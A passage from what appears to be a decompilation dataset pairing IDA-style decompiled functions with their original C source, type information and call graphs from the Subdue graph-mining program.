*posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "newGraph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "vertex", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *" ], [ "edge", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *" ], [ "labelIndex", "unsigned long" ], [ "v2", "unsigned long" ], [ "secondVertex", "unsigned long" ], [ "firstVertex", "unsigned long" ], [ "v", "unsigned long" ], [ "e", "unsigned long" ], [ "i", "unsigned long" ], [ "found", "unsigned char" ], [ "directed", "unsigned char" ] ], "return_type": "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *", "user_defined_types": [ "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "7a3db6f9897f0f4879a1176a13cfa512a7c2bdae2b97e69b98d87bd17c210528" }, { "name": "ExtendConstrainedInstance", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall ExtendConstrainedInstance(unsigned __int64 *a1, _QWORD *a2, __int64 a3, __int64 a4, __int64 a5)\n{\n__int64 v9; // [rsp+38h] [rbp-48h]\n__int64 v10; // [rsp+40h] [rbp-40h]\n__int64 v11; // [rsp+48h] [rbp-38h]\n__int64 v12; // [rsp+50h] [rbp-30h]\nchar v13; // [rsp+5Fh] [rbp-21h]\n__int64 v14; // [rsp+60h] [rbp-20h]\nunsigned __int64 j; // [rsp+68h] [rbp-18h]\nunsigned __int64 i; // [rsp+70h] [rbp-10h]\n__int64 v17; // [rsp+78h] [rbp-8h]\n\nv13 = 1;\nv17 = 0LL;\nMarkRefGraphInstanceEdges(a1, a3, 1LL);\nfor ( i = 0LL; i < *a1; ++i )\n{\nv12 = *(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)(a1[2] + 8 * i);\nif ( *(_BYTE *)(v12 + 33) )\n{\nfor ( j = 0LL; j < *(_QWORD *)(v12 + 8); ++j )\n{\nv11 = *(_QWORD *)(a3 + 24) + 48LL * *(_QWORD *)(*(_QWORD *)(v12 + 16) + 8 * j);\nif ( !*(_BYTE *)(v11 + 33) && !*(_BYTE *)(v11 + 34) )\n{\nv14 = *(_QWORD *)v11 == *(_QWORD *)(a1[2] + 8 * i) ? *(_QWORD *)(v11 + 8) : *(_QWORD *)v11;\nv10 = *(_QWORD *)(a3 + 16) + 40 * v14;\nif ( (unsigned __int8)VertexInSub(*a2, *(_QWORD *)(a4 + 16) + 40LL * *(_QWORD *)(v10 + 24)) )\n{\nif ( !(unsigned __int8)CheckVertexForOverlap(*(_QWORD *)(v10 + 24), a2, a5) )\n{\nv9 = CreateConstrainedExtendedInstance(\na1,\n*(_QWORD *)(a1[2] + 8 * i),\nv14,\n*(_QWORD *)(*(_QWORD *)(v12 + 16) + 8 * j),\na3);\nif ( v13 )\n{\nv17 = AllocateInstanceList();\nv13 = 0;\n}\nInstanceListInsert(v9, v17, 1LL);\n}\n}\n}\n}\n}\n}\nMarkRefGraphInstanceEdges(a1, a3, 0LL);\nreturn v17;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(unsigned __int64 *a1, _QWORD *a2, __int64 a3, __int64 a4, __int64 a5)\n{\n__int64 v9; // [rsp+38h] [rbp-48h]\n__int64 v10; // [rsp+40h] [rbp-40h]\n__int64 v11; // [rsp+48h] [rbp-38h]\n__int64 v12; // [rsp+50h] [rbp-30h]\nchar v13; // [rsp+5Fh] [rbp-21h]\n__int64 v14; // [rsp+60h] [rbp-20h]\nunsigned __int64 j; // [rsp+68h] [rbp-18h]\nunsigned __int64 i; // [rsp+70h] [rbp-10h]\n__int64 v17; // [rsp+78h] [rbp-8h]\n\nv13 = 1;\nv17 = 0LL;\nMarkRefGraphInstanceEdges(a1, a3, 1LL);\nfor ( i = 0LL; i < *a1; ++i )\n{\nv12 = *(_QWORD *)(a3 + 16) + 40LL * *(_QWORD *)(a1[2] + 8 * i);\nif ( *(_BYTE *)(v12 + 33) )\n{\nfor ( j = 0LL; j < *(_QWORD *)(v12 + 8); ++j )\n{\nv11 = *(_QWORD *)(a3 + 24) + 48LL * *(_QWORD *)(*(_QWORD *)(v12 + 16) + 8 * j);\nif ( !*(_BYTE *)(v11 + 33) && !*(_BYTE *)(v11 + 34) )\n{\nv14 = *(_QWORD *)v11 == *(_QWORD *)(a1[2] + 8 * i) ? *(_QWORD *)(v11 + 8) : *(_QWORD *)v11;\nv10 = *(_QWORD *)(a3 + 16) + 40 * v14;\nif ( (unsigned __int8)VertexInSub(*a2, *(_QWORD *)(a4 + 16) + 40LL * *(_QWORD *)(v10 + 24)) )\n{\nif ( !(unsigned __int8)CheckVertexForOverlap(*(_QWORD *)(v10 + 24), a2, a5) )\n{\nv9 = CreateConstrainedExtendedInstance(\na1,\n*(_QWORD *)(a1[2] + 8 * i),\nv14,\n*(_QWORD *)(*(_QWORD *)(v12 + 16) + 8 * j),\na3);\nif ( v13 )\n{\nv17 = AllocateInstanceList();\nv13 = 0;\n}\nInstanceListInsert(v9, v17, 1LL);\n}\n}\n}\n}\n}\n}\nMarkRefGraphInstanceEdges(a1, a3, 0LL);\nreturn v17;\n}", "original_code": "InstanceList *ExtendConstrainedInstance(Instance *instance,\n Substructure *bestSub,\n ReferenceGraph *refGraph,\n Graph *fullGraph,\n Parameters *parameters)\n{\n InstanceList *newInstanceList;\n Instance *newInstance;\n ULONG v;\n ULONG e;\n ULONG v2;\n ReferenceVertex *vertex;\n ReferenceVertex *vertex2;\n ReferenceEdge *edge;\n BOOLEAN listEmpty = 1;\n newInstanceList = ((void *)0);\n MarkRefGraphInstanceEdges(instance, refGraph, 1);\n for (v = 0; v < instance->numVertices; v++)\n {\n vertex = &refGraph->vertices[instance->vertices[v]];\n if (vertex->vertexValid)\n {\n for (e = 0; e < vertex->numEdges; e++)\n {\n edge = &refGraph->edges[vertex->edges[e]];\n if (!edge->used && !edge->failed)\n {\n if (edge->vertex1 == instance->vertices[v])\n v2 = edge->vertex2;\n else\n v2 = edge->vertex1;\n vertex2 = &refGraph->vertices[v2];\n if (VertexInSub(bestSub->definition,\n &fullGraph->vertices[vertex2->map]) &&\n !CheckVertexForOverlap(vertex2->map, bestSub, parameters))\n {\n newInstance =\n CreateConstrainedExtendedInstance(instance,\n instance->vertices[v], v2, vertex->edges[e], refGraph);\n if (listEmpty)\n {\n newInstanceList = AllocateInstanceList();\n listEmpty = 0;\n }\n InstanceListInsert(newInstance, newInstanceList, 1);\n }\n }\n }\n }\n }\n MarkRefGraphInstanceEdges(instance, refGraph, 0);\n return newInstanceList;\n}", "canonical_original_code": "struct InstanceList *ExtendConstrainedInstance(struct _instance *instance, struct Substructure *bestSub, struct ReferenceGraph *refGraph, struct Graph *fullGraph, struct Parameters *parameters)\n{\n struct InstanceList *newInstanceList;\n struct _instance *newInstance;\n unsigned long v;\n unsigned long e;\n unsigned long v2;\n struct ReferenceVertex *vertex;\n struct ReferenceVertex *vertex2;\n struct ReferenceEdge *edge;\n unsigned char listEmpty = 1;\n newInstanceList = ((void *)0);\n MarkRefGraphInstanceEdges(instance, refGraph, 1);\n for (v = 0; v < instance->numVertices; v++)\n {\n vertex = &refGraph->vertices[instance->vertices[v]];\n if (vertex->vertexValid)\n {\n for (e = 0; e < vertex->numEdges; e++)\n {\n edge = &refGraph->edges[vertex->edges[e]];\n if (!edge->used && !edge->failed)\n {\n if (edge->vertex1 == instance->vertices[v])\n v2 = edge->vertex2;\n else\n v2 = edge->vertex1;\n vertex2 = &refGraph->vertices[v2];\n if (VertexInSub(bestSub->definition,\n &fullGraph->vertices[vertex2->map]) &&\n !CheckVertexForOverlap(vertex2->map, bestSub, parameters))\n {\n newInstance =\n CreateConstrainedExtendedInstance(instance,\n instance->vertices[v], v2, vertex->edges[e], refGraph);\n if (listEmpty)\n {\n newInstanceList = AllocateInstanceList();\n listEmpty = 0;\n }\n InstanceListInsert(newInstance, newInstanceList, 1);\n }\n }\n }\n }\n }\n MarkRefGraphInstanceEdges(instance, refGraph, 0);\n return newInstanceList;\n}", "variable_types": [ [ "instance", "struct _instance *" ], [ "bestSub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "refGraph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "fullGraph", "struct Graph *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "newInstanceList", "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *" ], [ "newInstance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "v", "unsigned long" ], [ "e", "unsigned long" ], [ "v2", "unsigned long" ], [ "vertex", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *" ], [ "vertex2", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *" ], [ "edge", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *" ], [ "listEmpty", "unsigned char" ] ], "return_type": "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *", "user_defined_types": [ "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "7a3db6f9897f0f4879a1176a13cfa512a7c2bdae2b97e69b98d87bd17c210528" } ]
8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7
gromgull/subdue
[ [ "IncrementSize", "->", "GetIncrement" ], [ "IncrementNumExamples", "->", "GetIncrement" ], [ "GetOutputFileName", "->" ], [ "AddInstanceToTree", "->" ], [ "GetSubTree", "->" ], [ "compare_ints", "->" ], [ "GetIncrement", "->", "IncrementSize", "IncrementNumExamples", "GetIncrementListNode", "GetCurrentIncrement" ], [ "GetCurrentIncrement", "->", "GetCurrentIncrementNum", "GetIncrement", "SetIncrementNumExamples" ], [ "GetCurrentIncrementNum", "->", "GetCurrentIncrement" ], [ "SetIncrementNumExamples", "->", "GetCurrentIncrement" ], [ "GetStartVertexIndex", "->" ], [ "GetIncrementListNode", "->", "GetIncrement" ], [ "PrintStoredSub", "->" ] ]
[]
[ { "name": "IncrementSize", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall IncrementSize(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 v3; // rdx\n__int64 v4; // rax\n_QWORD *v7; // [rsp+28h] [rbp-8h]\n\nv7 = (_QWORD *)GetIncrement(a2, a1);\nif ( a3 == 1 )\n{\nv3 = v7[2];\nv4 = v7[3];\n}\nelse\n{\nv3 = v7[4];\nv4 = v7[5];\n}\nreturn v3 + v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 v3; // rdx\n__int64 v4; // rax\n_QWORD *v7; // [rsp+28h] [rbp-8h]\n\nv7 = (_QWORD *)func6(a2, a1);\nif ( a3 == 1 )\n{\nv3 = v7[2];\nv4 = v7[3];\n}\nelse\n{\nv3 = v7[4];\nv4 = v7[5];\n}\nreturn v3 + v4;\n}", "original_code": "ULONG IncrementSize(Parameters *parameters, ULONG incrementNum, ULONG graphType)\n{\n Increment *increment = GetIncrement(incrementNum, parameters);\n if (graphType == 1)\n return(increment->numPosVertices + increment->numPosEdges);\n else\n return(increment->numNegVertices + increment->numNegEdges);\n}", "canonical_original_code": "unsigned long IncrementSize(struct Parameters *parameters, unsigned long incrementNum, unsigned long graphType)\n{\n struct _increment *increment = GetIncrement(incrementNum, parameters);\n if (graphType == 1)\n return(increment->numPosVertices + increment->numPosEdges);\n else\n return(increment->numNegVertices + increment->numNegEdges);\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "incrementNum", "unsigned long" ], [ "graphType", "unsigned long" ], [ "increment", "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } 